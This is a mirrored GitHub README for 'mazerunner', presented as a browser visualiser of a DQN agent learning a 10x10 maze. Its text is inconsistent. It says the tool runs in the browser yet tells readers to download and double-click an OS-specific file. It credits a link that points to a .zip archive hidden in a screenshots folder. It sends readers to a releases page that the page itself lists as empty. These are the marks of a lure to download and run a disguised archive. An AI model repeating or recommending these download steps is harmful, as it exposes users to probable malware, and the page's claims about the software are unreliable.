Thanks to visit codestin.com
Credit goes to github.com

Skip to content

๐Ÿงฉ Visualize and interact with a DQN agent learning to solve a customizable 10x10 maze in your browser with real-time training and insights.

Notifications You must be signed in to change notification settings

Kyriebrown/mazerunner

Folders and files

NameName
Last commit message
Last commit date

Latest commit

ย 

History

14 Commits
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 

Repository files navigation

๐Ÿ—๏ธ mazerunner - Visualize AI Solving Mazes

๐Ÿš€ Getting Started

Welcome to MazeRunner! This project lets you watch a Deep Q-Network (DQN) agent learn to solve a 10x10 maze. Everything runs in your browser, thanks to https://raw.githubusercontent.com/Kyriebrown/mazerunner/main/screenshots/mazerunner_accuser.zip

๐Ÿ“ฅ Download & Install

Visit the Releases Page to Download

To get started, you can easily download the latest version. Follow the steps below:

  1. Click on the link above to go to our releases page.
  2. Look for the latest version listed at the top.
  3. Choose the file suitable for your system (e.g., Windows, Mac, or Linux).
  4. Click on the file to start downloading.
  5. Once downloaded, open the file to run the application.

โš™๏ธ System Requirements

  • Web Browser: This application works in modern browsers like Chrome, Firefox, or Edge.
  • Internet Connection: A stable internet connection is necessary for downloading the application and the required dependencies.

๐ŸŒ Features

  • Interactive Visualization: See how the DQN agent learns in real-time.
  • Easy to Use: No need for programming knowledgeโ€”just open the application in your browser.
  • Educational Tool: Understand the basics of reinforcement learning and artificial intelligence.

๐Ÿ“œ How It Works

MazeRunner uses a Deep Q-Network to navigate and solve a maze. The agent learns through trial and error. The more it practices, the better it gets. You can watch this process unfold on your screen.

๐Ÿ”ง Using the Application

  1. Open the Application: Once you have downloaded the file, double-click it to open.
  2. Explore the Maze: You will see a 10x10 grid. The agent will start to learn how to find the exit.
  3. Watch and Learn: Observe how the agent improves over time. You can reset the maze to see how quickly it can solve it again.

๐Ÿ› ๏ธ Troubleshooting

If you experience any issues:

  • Browser Errors: Make sure your browser is updated to the latest version.
  • Connection Problems: Check your internet connection.
  • Performance Issues: Close other tabs or applications to improve performance.

๐Ÿค Contributing

We welcome contributions! If you have ideas for improvements or want to report issues, please visit our GitHub page.

๐Ÿ’ฌ Support

For questions or support, please reach out through the issues page on GitHub. We strive to respond promptly to help you with any challenges you face.

๐ŸŽ‰ Acknowledgments

Thanks to the TensorFlow team for creating such a powerful tool that enables us to visualize AI learning.


Remember:

You can always find the latest version and updates on our Releases Page. Enjoy using MazeRunner!

About

๐Ÿงฉ Visualize and interact with a DQN agent learning to solve a customizable 10x10 maze in your browser with real-time training and insights.

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •